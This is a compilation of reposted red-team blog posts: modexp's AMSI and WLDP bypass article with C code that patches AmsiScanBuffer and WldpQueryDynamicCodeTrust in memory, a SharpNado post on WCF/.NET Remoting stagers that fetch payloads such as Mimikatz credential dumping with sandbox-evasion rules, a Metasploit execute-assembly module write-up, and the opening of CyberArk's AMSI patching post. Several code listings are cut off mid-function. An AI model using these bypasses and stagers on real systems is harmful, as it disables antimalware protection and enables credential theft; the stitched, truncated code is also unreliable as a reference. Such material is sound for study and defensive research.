How Red Teams Bypass AMSI and WLDP for .NET Dynamic Code

Original text by modexp

1. Introduction

v4.8 of the dotnet framework uses Antimalware Scan Interface (AMSI) and Windows Lockdown Policy (WLDP) to block potentially unwanted software running from memory. WLDP will verify the digital signature of dynamic code while AMSI will scan for software that is either harmful or blocked by the administrator. This post documents three publicly-known methods red teams currently use to bypass AMSI and one to bypass WLDP. The bypass methods described are somewhat generic and don’t require special knowledge of AMSI or WLDP. If you’re reading this post anytime after June 2019, the methods may no longer work. The research of AMSI and WLDP was conducted in collaboration with TheWover.

2. Previous Research

The following table includes links to past research about AMSI and WLDP. If you feel I’ve missed anyone, don’t hesitate to e-mail me the details.

May 2016Bypassing Amsi using PowerShell 5 DLL Hijacking by Cneelis
Jul 2017Bypassing AMSI via COM Server Hijacking by Matt Nelson
Jul 2017Bypassing Device Guard with .NET Assembly Compilation Methods by Matt Graeber
Feb 2018AMSI Bypass With a Null Character by Satoshi Tanda
Feb 2018AMSI Bypass: Patching Technique by CyberArk (Avi Gimpel and Zeev Ben Porat).
Feb 2018The Rise and Fall of AMSI by Tal Liberman (Ensilo).
May 2018AMSI Bypass Redux by Avi Gimpel (CyberArk).
Jun 2018Exploring PowerShell AMSI and Logging Evasion by Adam Chester
Jun 2018Disabling AMSI in JScript with One Simple Trick by James Forshaw
Jun 2018Documenting and Attacking a Windows Defender Application Control Feature the Hard Way – A Case Study in Security Research Methodology by Matt Graeber
Oct 2018How to bypass AMSI and execute ANY malicious Powershell code by Andre Marques
Oct 2018AmsiScanBuffer Bypass Part 1Part 2Part 3Part 4 by Rasta Mouse
Dec 2018PoC function to corrupt the g_amsiContext global variable in clr.dll by Matt Graeber
Apr 2019Bypassing AMSI for VBA by Pieter Ceelen (Outflank)

3. AMSI Example in C

Given the path to a file, the following function will open it, map into memory and use AMSI to detect if the contents are harmful or blocked by the administrator.

typedef HRESULT (WINAPI *AmsiInitialize_t)(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext);

typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result);

typedef void (WINAPI *AmsiUninitialize_t)(
  HAMSICONTEXT amsiContext);
BOOL IsMalware(const char *path) {
    AmsiInitialize_t   _AmsiInitialize;
    AmsiScanBuffer_t   _AmsiScanBuffer;
    AmsiUninitialize_t _AmsiUninitialize;
    HAMSICONTEXT       ctx;
    AMSI_RESULT        res;
    HMODULE            amsi;
    HANDLE             file, map, mem;
    HRESULT            hr = -1;
    DWORD              size, high;
    BOOL               malware = FALSE;
    // load amsi library
    amsi = LoadLibrary("amsi");
    // resolve functions
    _AmsiInitialize = 
      GetProcAddress(amsi, "AmsiInitialize");
    _AmsiScanBuffer =
      GetProcAddress(amsi, "AmsiScanBuffer");
    _AmsiUninitialize = 
      GetProcAddress(amsi, "AmsiUninitialize");
    // return FALSE on failure
    if(_AmsiInitialize   == NULL ||
       _AmsiScanBuffer   == NULL ||
       _AmsiUninitialize == NULL) {
      printf("Unable to resolve AMSI functions.\n");
      return FALSE;
    // open file for reading
    file = CreateFile(
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      size = GetFileSize(file, &high);
      if(size != 0) {
        // create mapping
        map = CreateFileMapping(
          file, NULL, PAGE_READONLY, 0, 0, 0);
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(
            map, FILE_MAP_READ, 0, 0, 0);
          if(mem != NULL) {
            // scan for malware
            hr = _AmsiInitialize(L"AMSI Example", &ctx);
            if(hr == S_OK) {
              hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
              if(hr == S_OK) {
                malware = (AmsiResultIsMalware(res) || 
    return malware;

Scanning a good and bad file.

If you’re already familiar with the internals of AMSI, you can skip to the bypass methods here.

4. AMSI Context

The context is an undocumented structure, but you may use the following to interpret the handle returned.

typedef struct tagHAMSICONTEXT {
  DWORD        Signature;          // "AMSI" or 0x49534D41
  PWCHAR       AppName;            // set by AmsiInitialize
  IAntimalware *Antimalware;       // set by AmsiInitialize
  DWORD        SessionCount;       // increased by AmsiOpenSession

5. AMSI Initialization

appName points to a user-defined string in unicode format while amsiContext points to a handle of type HAMSICONTEXT. It returns S_OK if an AMSI context was successfully initialized. The following code is not a full implementation of the function, but should help you understand what happens internally.

HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
    HRESULT       hr;
    int           nameLen;
    IClassFactory *clsFactory = NULL;
    // invalid arguments?
    if(appName == NULL || amsiContext == NULL) {
      return E_INVALIDARG;
    // allocate memory for context
    ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
    if(ctx == NULL) {
      return E_OUTOFMEMORY;
    // initialize to zero
    ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
    // set the signature to "AMSI"
    ctx->Signature = 0x49534D41;
    // allocate memory for the appName and copy to buffer
    nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
    ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
    if(ctx->AppName == NULL) {
      hr = E_OUTOFMEMORY;
    } else {
      // set the app name
      lstrcpy(ctx->AppName, appName);
      // instantiate class factory
      hr = DllGetClassObject(
      if(hr == S_OK) {
        // instantiate Antimalware interface
        hr = clsFactory->CreateInstance(
        // free class factory
        // save pointer to context
        *amsiContext = ctx;
    // if anything failed, free context
    if(hr != S_OK) {
    return hr;

Memory is allocated on the heap for a HAMSICONTEXT structure and initialized using the appName, the AMSI signature (0x49534D41) and IAntimalware interface.

6. AMSI Scanning

The following code gives you a rough idea of what happens when the function is invoked. If the scan is successful, the result returned will be S_OK and the AMSI_RESULT should be inspected to determine if the buffer contains unwanted software.

HRESULT _AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
    _HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
    // validate arguments
    if(buffer           == NULL       ||
       length           == 0          ||
       amsiResult       == NULL       ||
       ctx              == NULL       ||
       ctx->Signature   != 0x49534D41 ||
       ctx->AppName     == NULL       ||
       ctx->Antimalware == NULL)
      return E_INVALIDARG;
    // scan buffer
    return ctx->Antimalware->Scan(
      ctx->Antimalware,     // rcx = this
      &CAmsiBufferStream,   // rdx = IAmsiBufferStream interface
      amsiResult,           // r8  = AMSI_RESULT
      NULL,                 // r9  = IAntimalwareProvider
      amsiContext,          // HAMSICONTEXT

Note how arguments are validated. This is one of the many ways AmsiScanBuffer can be forced to fail and return E_INVALIDARG.

7. CLR Implementation of AMSI

CLR uses a private function called AmsiScan to detect unwanted software passed via a Loadmethod. Detection can result in termination of a .NET process, but not necessarily an unmanaged process using the CLR hosting interfaces. The following code gives you a rough idea of how CLR implements AMSI.

AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT     *g_amsiContext;

VOID AmsiScan(PVOID buffer, ULONG length) {
    HMODULE          amsi;
    HAMSICONTEXT     *ctx;
    HAMSI_RESULT     amsiResult;
    HRESULT          hr;
    // if global context not initialized
    if(g_amsiContext == NULL) {
      // load AMSI.dll
      amsi = LoadLibraryEx(
      if(amsi != NULL) {
        // resolve address of init function
        _AmsiInitialize = 
          (AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
        // resolve address of scanning function
        _AmsiScanBuffer =
          (AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
        // failed to resolve either? exit scan
        if(_AmsiInitialize == NULL ||
           _AmsiScanBuffer == NULL) return;
        hr = _AmsiInitialize(L"DotNet", &ctx);
        if(hr == S_OK) {
          // update global variable
          g_amsiContext = ctx;
    if(g_amsiContext != NULL) {
      // scan buffer
      hr = _AmsiScanBuffer(
      if(hr == S_OK) {
        // if malware was detected or it's blocked by admin
        if(AmsiResultIsMalware(amsiResult) ||
          // "Operation did not complete successfully because "
          // "the file contains a virus or potentially unwanted" 
          // software.
          GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
          ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);          

When AmsiScan is called for the first time, it invokes AmsiInitialize, and if successful will return a pointer to an AMSI context. The pointer is then saved to a global variable called g_amsiContext to be used for later scans. If buffer does contain harmful code, ThrowHR is called with COR_E_BADIMAGEFORMAT and ERROR_VIRUS_INFECTED as the secondary error. The problem with this code is that AmsiScanBuffer will return E_INVALIDARG if the AMSI context is corrupt and the fact AmsiScan doesn’t bother to investigate why.

8. AMSI Bypass A (Patching Data)

Matt Graeber provided a PoC that corrupts the context CLR!g_amsiContext points to, thus causing AmsiScanBuffer to return E_INVALIDARG. As you can see from the CLR implementation, this works because the result of CLR!AmsiScan is never validated for success or failure. The assumption is that it will simply throw an error and terminate the host application upon any attempt to load unwanted software. However, an unmanaged application hosting a .NET assembly is likely to handle any C++ exception. Windows Defender would still log the detection of harmful code, but the unmanaged host application would in some cases continue to run. To disable AMSI via g_amsiContext, one can either search through the heap memory pointed to by PEB.ProcessHeap or through each pointer found in the virtual address space of the .data segment. The following code demonstrates the latter approach. This only works _after_ CLR has called AmsiScan.

    LPVOID                   hCLR;
    BOOL                     disabled = FALSE;
    PIMAGE_DOS_HEADER        dos;
    PIMAGE_NT_HEADERS        nt;
    DWORD                    i, j, res;
    PBYTE                    ds;
    _PHAMSICONTEXT           ctx;
    hCLR = GetModuleHandleA("CLR");
    if(hCLR != NULL) {
      dos = (PIMAGE_DOS_HEADER)hCLR;  
      nt  = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);  
      sh  = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + 
      // scan all writeable segments while disabled == FALSE
      for(i = 0; 
          i < nt->FileHeader.NumberOfSections && !disabled; 
        // if this section is writeable, assume it's data
        if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
          // scan section for pointers to the heap
          ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
          for(j = 0; 
              j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR); 
              j += sizeof(ULONG_PTR)) 
            // get pointer
            ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
            // query if the pointer
            res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
            if(res != sizeof(mbi)) continue;
            // if it's a pointer to heap or stack
            if ((mbi.State   == MEM_COMMIT    ) &&
                (mbi.Type    == MEM_PRIVATE   ) && 
                (mbi.Protect == PAGE_READWRITE))
              ctx = (_PHAMSICONTEXT)ptr;
              // check if it contains the signature 
              if(ctx->Signature == 0x49534D41) {
                // corrupt it
                disabled = TRUE;
    return disabled;

9. AMSI Bypass B (Patching Code 1)

CyberArk suggest patching AmsiScanBuffer with 2 instructions xor edi, edi, nop. If you wanted to hook the function, using a Length Disassembler Engine (LDE) might be helpful for calculating the correct number of prolog bytes to save before overwriting with a jump to alternate function. Since the AMSI context passed into this function is validated and one of the tests require the Signature to be “AMSI”, you might locate that immediate value and simply change it to something else. In the following example, we’re corrupting the signature in code rather than context/data as demonstrated by Matt Graeber.

    HMODULE        dll;
    PBYTE          cs;
    DWORD          i, op, t;
    BOOL           disabled = FALSE;
    // load AMSI library
    dll = LoadLibraryExA(
      "amsi", NULL, 
    if(dll == NULL) {
      return FALSE;
    // resolve address of function to patch
    cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
    // scan for signature
    for(i=0;;i++) {
      ctx = (_PHAMSICONTEXT)&cs[i];
      // is it "AMSI"?
      if(ctx->Signature == 0x49534D41) {
        // set page protection for write access
        VirtualProtect(cs, sizeof(ULONG_PTR), 
        // change signature
        // set page back to original protection
        VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
        disabled = TRUE;
    return disabled;

10. AMSI Bypass C (Patching Code 2)

Tal Liberman suggests overwriting the prolog bytes of AmsiScanBuffer to return 1. The following code also overwrites that function so that it returns AMSI_RESULT_CLEAN and S_OKfor every buffer scanned by CLR.

// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result)
    *result = AMSI_RESULT_CLEAN;
    return S_OK;

static VOID AmsiScanBufferStubEnd(VOID) {}

    BOOL    disabled = FALSE;
    HMODULE amsi;
    DWORD   len, op, t;
    LPVOID  cs;
    // load amsi
    amsi = LoadLibrary("amsi");
    if(amsi != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(amsi, "AmsiScanBuffer");
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)AmsiScanBufferStubEnd -
        // make the memory writeable
          cs, len, PAGE_EXECUTE_READWRITE, &op))
          // over write with code stub
          memcpy(cs, &AmsiScanBufferStub, len);
          disabled = TRUE;
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
    return disabled;

After the patch is applied, we see unwanted software is flagged as safe.

11. WLDP Example in C

The following function demonstrates how to query the trust of dynamic code in-memory using Windows Lockdown Policy.

BOOL VerifyCodeTrust(const char *path) {
    WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
    HMODULE                     wldp;
    HANDLE                      file, map, mem;
    HRESULT                     hr = -1;
    DWORD                       low, high;
    // load wldp
    wldp = LoadLibrary("wldp");
    _WldpQueryDynamicCodeTrust = 
      GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
    // return FALSE on failure
    if(_WldpQueryDynamicCodeTrust == NULL) {
      printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.\n");
      return FALSE;
    // open file reading
    file = CreateFile(
    if(file != INVALID_HANDLE_VALUE) {
      // get size
      low = GetFileSize(file, &high);
      if(low != 0) {
        // create mapping
        map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
        if(map != NULL) {
          // get pointer to memory
          mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
          if(mem != NULL) {
            // verify signature
            hr = _WldpQueryDynamicCodeTrust(0, mem, low);              
    return hr == S_OK;

12. WLDP Bypass A (Patching Code 1)

Overwriting the function with a code stub that always returns S_OK.

// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
    HANDLE fileHandle,
    PVOID  baseImage,
    ULONG  ImageSize)
    return S_OK;

static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}

static BOOL PatchWldp(VOID) {
    BOOL    patched = FALSE;
    HMODULE wldp;
    DWORD   len, op, t;
    LPVOID  cs;
    // load wldp
    wldp = LoadLibrary("wldp");
    if(wldp != NULL) {
      // resolve address of function to patch
      cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
      if(cs != NULL) {
        // calculate length of stub
        len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd -
        // make the memory writeable
          cs, len, PAGE_EXECUTE_READWRITE, &op))
          // over write with stub
          memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
          patched = TRUE;
          // set back to original protection
          VirtualProtect(cs, len, op, &t);
    return patched;

Although the methods described here are easy to detect, they remain effective against the latest release of DotNet framework on Windows 10. So long as it’s possible to patch data or code used by AMSI to detect harmful code, the potential to bypass it will always exist.


SharpNado — Teaching an old dog evil tricks using .NET Remoting or WCF to host smarter and dynamic payloads

( Original text by Shawn Jones )


I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.


SharpNado is proof of concept tool that demonstrates how one could use .Net Remoting or Windows Communication Foundation (WCF) to host smarter and dynamic .NET payloads.  SharpNado is not meant to be a full functioning, robust, payload delivery system nor is it anything groundbreaking. It’s merely something to get the creative juices flowing on how one could use these technologies or others to create dynamic and hopefully smarter payloads. I have provided a few simple examples of how this could be used to either dynamically execute base64 assemblies in memory or dynamically compile source code and execute it in memory.  This, however, could be expanded upon to include different kinds of stagers, payloads, protocols, etc.

So, what is WCF and .NET Remoting?

While going over these is beyond the scope of this blog, Microsoft describes Windows Communication Foundation as a framework for building service-oriented applications and .NET Remoting as a framework that allows objects living in different AppDomains, processes, and machines to communicate with each other.  For the sake of simplicity, let’s just say one of its use cases is it allows two applications living on different systems to share information back and forth with each other. You can read more about them here:


.NET Remoting

 A few examples of how this could be useful:

1. Smarter payloads without the bulk

What do I mean by this?  Since WCF and .NET Remoting are designed for communication between applications, it allows us to build in logic server side to make smarter decisions depending on what information the client (stager) sends back to the server.  This means our stager can still stay small and flexible but we can also build in complex rules server side that allow us to change what the stager executes depending on environmental situations.  A very simple example of payload logic would be the classic, if domain user equals X fire and if not don’t.  While this doesn’t seem very climatic, you could easily build in more complex rules.  For example, if the domain user equals X,  the internal domain is correct and user X has administrative rights, run payload Y or if user X is a standard user, and the internal domain is correct, run payload Z.  Adding to this, we could say if user X is correct, but the internal domain is a mismatch, send back the correct internal domain and let me choose if I want to fire the payload or not.  These back-end rules can be as simple or complex as you like.  I have provided a simple sandbox evasion example with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

2. Payloads can be dynamic and quickly changed on the fly:

Before diving into this, let’s talk about some traditional ways of payload delivery first and then get into how using a technology like WCF or .NET Remoting could be helpful.  In the past and even still today, many people hard-code their malicious code into the payload sent, often using some form of encryption that only decrypts and executes upon meeting some environmental variable or often they use a staged approach where the non-malicious stager reaches out to the web, retrieves our malicious code and executes it as long as environmental variables align.  The above examples are fine and still work well even today and I am in no way tearing these down at all or saying better ways don’t exist.  I am just using them as a starting point to show how I believe the below could be used as a helpful technique and up the game a bit, so just roll with it.

So what are a few of the pain points of the traditional payload delivery methods?  Well with the hard-coded payload, we usually want to keep our payloads small so the complexity of our malicious code we execute is minimal, hence the reason many use a stager as the first step of our payload.  Secondly, if we sent out 10 payloads and the first one gets caught by end point protection, then even if the other 9 also get executed by their target, they too will fail.  So, we would have to create a new payload, pick 10 new targets and again hope for the best.

Using WCF or .NET Remoting we can easily create a light stager that allows us to quickly switch between what the stager will execute.  We can do this either by back-end server logic as discussed above or by quickly setting different payloads within the SharpNado console.  So, let’s say our first payload gets blocked by endpoint protection. Since we already know our stager did try to execute our first payload due to the way the stager/server communicate we can use our deductive reason skills to conclude that our stager is good but the malicious code it tried to execute got caught. We can quickly, in the console, switch our payload to our super stealthy payload and the next time any of the stagers execute, the super stealthy payload will fire instead of the original payload which got caught. This saves us the hassle of sending a new payload to new targets.  I have provided simple examples of how to do this with SharpNado that could be expanded upon and a quick walk through of it in the examples section below.

3. Less complex to setup:

You might be thinking to yourself that I could do all this with mod rewrite rules and while that is absolutely true, mod rewrite rules can be a little more complex and time consuming to setup.  This is not meant to replace mod rewrite or anything.  Long live mod rewrite!  I am just pointing out that writing your back-end rules in a language like C# can allow easier to follow rules, modularization, and data parsing/presentation.

4. Payloads aren’t directly exposed:

What do I mean by this?  You can’t just point a web browser at your server IP and see payloads hanging out in some open web directory to be analyzed/downloaded.  In order to capture payloads, you would have to have some form of MiTM between the stager and the server.  This is because when using WCF or .NET Remoting, the malicious code (payload) you want your stager to execute along with any complex logic we want to run sits behind our remote server interface.  That remote interface exposes only the remote server side methods which can then be called by your stager. Now, if at this point you are thinking WTF, I encourage you to review the above links and dive deeper into how WCF or .NET Remoting works.  As there are many people who explain it and understand it better than I ever will.

Keep in mind, that you would still want to encrypt all of your payloads before they are sent over the wire to better protect your payloads.  You would also want to use other evasion techniques, for example, amount of times the stager has been called or how much time has passed since the stager was sent, etc.

5. Been around awhile:

.NET Remoting and WCF have been around a long time. There are tons of examples out there from developers on lots of ways to use this technology legitimately and it is probably a pretty safe bet that there are still a lot of organizations using this technology in legit applications. Like you, I like exposing ways one might do evil with things people use for legit purposes and hopefully bring them to light. Lastly, the above concepts could be used with other technologies as well, this just highlights one of many ways to accomplish the same goal.

Simple dynamic + encrypted payload example:

In the first example we will use SharpNado to host a base64 version of SharpSploitConsole and execute Mimikatz logonpasswords function.  First, we will setup our XML payload template that the server will be able to use when our stager executes.  Payload template examples can be found on GitHub in the Payloads folder.  Keep in mind that the ultimate goal would be to have many payload templates already setup that you could quickly switch between. The below screenshots give an example of what the template would look like.

Template example:

This is what it would look like after pasting in base64 code and setting arguments:

Once we have our template payload setup, we can go ahead and run SharpNado_x64.exe (with Administrator rights) and setup our listening service that our stager will call out to. In this example we will use WCF over HTTP on port 8080.  So, our stager should be setup to connect to  I would like to note two things here.  First is that with a little bit of work upfront server side, this could be modified to support HTTPS and secondly, SharpNado does not depend on the templates being setup prior to running.  You can add/delete/modify templates any time while the server is running using whatever text editor you would like.

Now let’s see what payloads we currently have available.  Keep in mind you may use any naming scheme you would like for your payloads.  I suggest naming payloads and stagers what makes most sense to you.  I only named them this way to make it easier to follow along.

In this example I will be using the b64SharpSploitConsole payload and have decided that I want the payload to be encrypted server side and decrypted client side using the super secure password P@55w0rd.  I would like to note here (outlined in red) that it is important for you to set your payload directory correctly.  This directory is what SharpNado uses to pull payloads.  A good way to test this is to run the command «show payloads» and if your payloads show up, you know you set it correctly.

Lastly, we will setup our stager.  Since I am deciding to encrypt our payload, I will be using the example SharpNado_HTTP_WCF_Base64_Encrypted.cs stager example found in the Stagers folder on GitHub.  I will simply be compiling this and running the stager exe but this could be delivered via .NetToJavaScript or by some other means if you like.

Now that we have compiled our stager, we will start the SharpNado service by issuing the «run» command.  This shows us what interface is up and what the service is listening on, so it is good to check this to make sure again, that everything is setup correctly.

Now when our stager gets executed, we should see the below.

And on our server side we can see that the encrypted server method was indeed called by our stager.  Keep in mind, we can build in as much server logic as we like.  This is just an example.

Now for demo purposes, I will quickly change the payload to b64NoPowershell_ipconfig_1 and when we run the same exact stager again, we instead will show our ipconfig information.  Again, this is only for simple demonstration of how you can quickly change out payloads.

Simple sandbox evade example:

In this second example I will go over an extremely watered-down version of how you could use SharpNado to build smarter payloads.  The example provided with SharpNado is intended to be a building block and could be made as complex or simple as you like.  Since our SharpNado service is already running from or previous example, all we need to do is set our payloads to use in the SharpNado console.  For this example, I again will be using the same payloads from above. I will run the b64SharpSploitConsole payload if we hit our correct target and the b64NoPowershell_ipconfig_1 payload if we don’t hit our correct target.

Looking at our simple stager example below we can see that if the user anthem is who executed our stager, the stager will send a 1 back to the SharpNado service or a 0 will be sent if the user isn’t anthem.  Please keep in mind you could however send back any information you like, including username, domain, etc.

Below is a partial screenshot of the example logic I provided with SharpNado. Another thing I want to point out is that I provided an example of how you could count how many times the service method has been called and depending on threshold kill the service.  This would be an example of building in counter measures if we think we are being analyzed and/or sand-boxed.

Moving forward when we run our stager with our anthem user, we can see that we get a message server side and that the correct payload fired.

Now if I change the user to anthem2 and go through the process again.  We can see that our non-malicious payload fires.  Keep in mind, the stagers could be setup in a way that values aren’t hard coded in.  You could have a list of users on your server and have your stager loop through that list and if anything matches, execute and if not do something else.  Again, it’s really up to your imagination.

Compile source code on the fly example:

Let’s do one more quick example but using C# source code.  This stager method will use System.CodeDom.Compiler which does shortly drop stuff to disk right before executing in memory but one could create a stager that takes advantage of the open source C# and VB compiler Roslyn to do the same thing.  This doesn’t touch disk as pointed out by @cobbr_io in his SharpShell blog post.

The below payload template example runs a No PowerShell payload that executes ipconfig but I also provided an example that would execute a PowerShell Empire or PowerShell Cobalt Strike Beacon on GitHub:

Then we will setup our stager.  In this example I will use the provided GitHub stager SharpNado_HTTP_WCF_SourceCompile.cs.

We will then take our already running SharpNado service and quickly add our payload.

Now when we run our stager, we should see our ipconfig output.


Hopefully this has been a good intro to how one could use WCF or .NET Remoting offensively or at least sparked a few ideas for you to research on your own. I am positive that there are much better ways to accomplish this, but it was something that I came across while doing other research and I thought it would be neat to whip up a small POC.  Till next time and happy hacking!

Link to tools:

SharpNado —

SharpNado Compiled Binaries —

SharpSploitConsole —

SharpSploit —

Execute assembly via Meterpreter session

( Original text by B4rtik )


Windows to run a PE file relies on reading the header. The PE header describes how it should be loaded in memory, which dependencies has and where is the entry point.
And what about .Net Assembly? The entry point is somewhere in the IL code. Direct execution of the assembly using the entry points in the intermediate code would cause an error.
This is because the intermediate code should not be executed first but the runtime will load the intermediate code and execute it.

Hosting CLR

In previous versions of Windows, execution is passed to an entry point where the boot code is located. The startup code, is a native code and uses an unmanaged CLR API to start the .NET runtime within the current process and launch the real program that is the IL code. This could be a good strategy to achieve the result. The final aim is: to run the assemply directly in memory, then the dll must have the assembly some where in memory, any command line parameters and a reference to the memory area that contains them.

Execute Assembly

So I need to create a post-exploitation module that performs the following steps:

  1. Spawn a process to host CLR (meterpreter)
  2. Reflectively Load HostCLR dll (meterpreter)
  3. Copy the assembly into the spawned process memory area (meterpreter)
  4. Copy the parameters into the spawned process memory area (meterpreter)
  5. Read assembly and parameters (dll)
  6. Execute the assembly (dll)

To start the Host process, metasploit provides Process.execute which has the following signature:

Process.execute (path, arguments = nil, opts = nil)

The interesting part is the ops parameter:

  1. Hidden
  2. Channelized
  3. Suspended
  4. InMemory

By setting Channelized to true, I can read the assembly output for free with the call

Once the Host process is created, Metasploit provides some functions for interacting with the memory of a remote process:

  1. inject_dll_into_process
  2. memory.allocate
  3. memory.write

The inject_dll_into_process function copies binary passed as an argument to a read-write-exec memory area and returns its address and an offset of the dll’s entry point.

exploit_mem, offset = inject_dll_into_process (process, library_path)

The memory.allocate function allocates memory by setting the required protection mode. In this case
I will write the parameters and the assembly in the allocated memory area, for none of these two elements I need the memory to be executable so I will set RW.

I decided to organize the memory area dedicated to parameters and assemblies as follows:

1024 bytes for the parameters
1M for the assembly

assembly_mem = process.memory.allocate (1025024, PAGE_READWRITE)

The third method allows to write data to a specified memory address.

process.memory.write (assembly_mem, params + (exe_path))

Now I have the memory address of dll, the offset to the entry point, the memory address fo both the parameters and the assembly to be executed.
Considering the function

Thread.create (entry, parameter = nil, suspended = false)

I can use the memory address of dll plus the offset as a value for the entry parameter and the address the parameter and assembly memory area as the parameter parameter value.

process.thread.create (exploit_mem + offset, assembly_mem)

This results in a call to the entry point and an LPVOID pointer as input parameter.

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)

It’s all I need to recover the parameters to be passed to the assembly and the assembly itself.

ReadProcessMemory(GetCurrentProcess(), lpPayload, allData, RAW_ASSEMBLY_LENGTH + RAW_AGRS_LENGTH, &readed);

About the assemblies to be executed, it is important to note that the signature of the Main method must match with the parameters that have been set in the module, for example:

If the property ARGUMENTS is set to «antani sblinda destra» the main method should be «static void main (string [] args)»
If the property ARGUMENTS is set to «» the main method should be «static void main ()»

Chaining with SharpGen

A few days ago I read a blog post from @cobb_io where he presented an interesting tool for inline compilation of .net assemblies. By default execute-assembly module looks for assemblies in $(metasploit-framework-home)/data/execute-assembly but it is also possible to change this behavior by setting the property ASSEMBLYPATH for example by pointing it to the SharpGen Output folder in this way I can compile the assemblies and execute them directly with the module.

Source code

AMSI Bypass: Patching Technique

( Original text )


In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.


As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

API monitoring in figure 1 shows the AMSI behavior behind the scenes:

  • The string that was submitted to the PowerShell console (“echo ‘Avi-G’”).
  • The AmsiScanString() function (under API monitor) which has been automatically invoked with the new input string insertion.

Figure 1- AmsiScanString

Bypassing AMSI General Flow

In our research, we were able to bypass the PowerShell AMSI protection of a simple user with low privileges. Malwares can use the same technique to run their malicious payloads above any kind of user.

We used the following components to perform the bypass:

Figure 2- POC components

Obtainer- a simple C# code script that is crafted as a PowerShell module, responsible for obtaining our AmsiDumpsi.dll.

Operator– AmsiDumpsi.dll is responsible for patching the real amsi.dll->AmsiScanString() function.

In Figure 3, you can see the complete process:

Figure 3- Bypassing Flow

It’s worth mentioning that the first AMSI bypass attempt was to simply unload the Amsi.dll by calling to the FreeLibrary() Api. The module was successfully unloaded, but PowerShell crashed because the process kept using the handle to the Amsi.dll.

Deep Diving into the POC code

Let’s take a short look at the original AmsiScanString() function:

Figure 4- Original AmsiScanString() Function

